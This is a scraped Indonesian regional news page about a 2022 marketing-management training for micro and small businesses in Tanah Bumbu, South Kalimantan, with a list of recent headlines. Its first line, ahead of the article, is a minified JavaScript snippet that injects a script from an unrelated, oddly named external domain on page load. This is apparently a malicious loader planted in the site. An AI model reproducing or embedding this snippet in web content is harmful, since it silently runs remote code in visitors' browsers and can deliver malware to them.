(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Pelaku UMKM di Tanbu Dibekali Pelatihan Manajemen Pemasaran


KANALKALIMANTAN.COM, BATULICIN – Dinas Koperasi Usaha Mikro Perdagangan dan Perindustrian (DKUMP2) Kabupaten Tanah Bumbu (Tanbu) bekerjasama dengan Balai Pelatihan Koperasi dan Usaha Kecil Provinsi Kalsel memberikan pelatihan kepada pelaku UMKM.

Pelatihan kali ini menyasar kepada pelaku Usaha Mikro dan Usaha Kecil (UMKM) tentang cara manajemen pemasaran yang berlangsung di aula kantor Kecamatan Simpang Empat, Senin (17/10/2022), sebagai upaya meningkatkan pengetahuan dan menambah wawasan mengelola usaha dan permodalannya bagi para pelaku UMKM di Tanah Bumbu.

Kepala Bidang Koperasi dan Usaha Mikro DKUMP2 Tanbu, Aidil Adha mengatakan, pelatihan yang digelar di Kabupaten Tanah Bumbu ini merupakan program kegiatan Balai Pelatihan Koperasi dan Usaha Kecil Kalsel bersumber dari dana alokasi khusus non fisik berupa peningkatan kapasitas koperasi dan usaha mikro berdasarkan usulan dari DKUMP2 Tanbu.

“Pelatihan digelar selama empat hari mulai Senin (17/10/2022) sampai Kamis (20/10/2022) dengan jumlah peserta sebanyak 30 orang,” ujarnya.

 

 

Baca juga: DKUMP2 Tanbu Gelar Pelatihan Perkoperasian Pola Syariah

Aidil berharap kegiatan pelatihan ini dapat terus dilakukan setiap tahunnya, dengan materi yang berbeda, seperti pelatihan kemasan dan desain sehingga produk UMKM dari Tanbu dapat bersaing secara nasional.

Plt Kepala Balai Pelatihan Koperasi dan Usaha Kecil Prov Kalsel, H Sirpan mengatakan pada tahun 2022 hanya ada dua kabupaten di Kalsel, yang mendapatkan pelatihan yaitu Kabupaten Tanah Bumbu dan Kabupaten Tapin.

Pelatihan manajemen pemasaran di Tanbu, sebut H Sirpan karena dinilai UMKM potensial untuk maju.

Ia berharap melalui pelatihan ini peserta dapat mengamalkan ilmu yang diperoleh sehingga berdampak pada peningkatan ekonomi keluarga dan masyarakat.

“Jika usaha yang dijalankan lancar dan berkembang maka pelaku usaha dapat pula menambah karyawan, sehingga usaha semakin besar,” ucapnya.

Baca juga: Disebut Akibat Aktivitas Pertambangan, Bantaran Sungai di Desa Murung Ilung Longsor

Sementara itu, Kepala DKUMP2 Tanbu, H Denny Hariyanto menyampaikan ucapan terimakasih kepada Pemerintah Provinsi Kalimantan Selatan yang memilih Kabupaten Tanah Bumbu untuk menggelar pelatihan bagi UMKM di Bumi Bersujud.

Dikatakan H Denny, pemasaran produk UKM menjadi perhatian pemerintah daerah kepemimpinan Bupati HM Zairullah Azhar dan Wakil Bupati H Muh Rusli.

Diantara upaya yang dilakukan adalah membuat Memorandum of Understanding (MoU) dengan toko retail modern, sehingga produk UMKM bisa masuk pasar modern, termasuk pula perhotelan yang mana produk tersebut ada di etalase hotel, serta membangun rumah kemasan.

Pemerintah juga membuat surat edaran agar pelaku usaha menjadi peserta e-Katalog, karena pada tahun 2023 mendatang pengadaan barang dan jasa pemerintah menggunakan e-Katalog.

Dikatakannya, bagi pelaku usaha yang ingin membuat e-Katalog tidak dikenakan biaya. Caranya bisa datang ke Kantor DKUMP2 Tanbu atau minta bimbingan e-Katalog di rumah saja maka dinas akan datang.

Terkait pemasaran produk, sebut H Denny perlu adanya terobosan-terobosan yang dilakukan oleh para pelaku usaha seperti bentuk kemasan dan lainnya. Karena menurutnya, produk ukm kuliner (makanan ringan) Tanbu tidak kalah dalam hal kualitas rasa, hanya kemasan yang kurang menarik.

Baca juga: Delapan Jam Perjuangan 5 Finalis Kalsel Tampil di Cabang Khattil Qur’an

“Belum lama tadi ada pameran produk UMKM, saya lihat ada produk kita yang kemasannya menarik dan bagus. Tapi kemasannya dikirim dari Pulau Jawa. Kemasan menarik seperti itu yang akan kita upayakan tersdia di Tanbu,” pungkasnya.

Materi pelatihan manajemen pemasaran diantaranya kebijakan pemberdayaan UMKM, legalitas, branding, sasaran pasar, perencanaan pemasaran, pemasaran pada e-commerce, dan pengendalian pemasaran.

Dalam hal pemasaran, pemerintah daerah mempromosikan produk-produk tersebut agar diterima masyarakat umum maupun nasional yang tentunya produk tersebut harus memiliki standar dan kualitas yang ditentukan. (Kanalkalimantan.com/ftr)

Reporter: ftr
Editor: bie


Risa

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

11 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

12 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

12 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

19 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

20 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.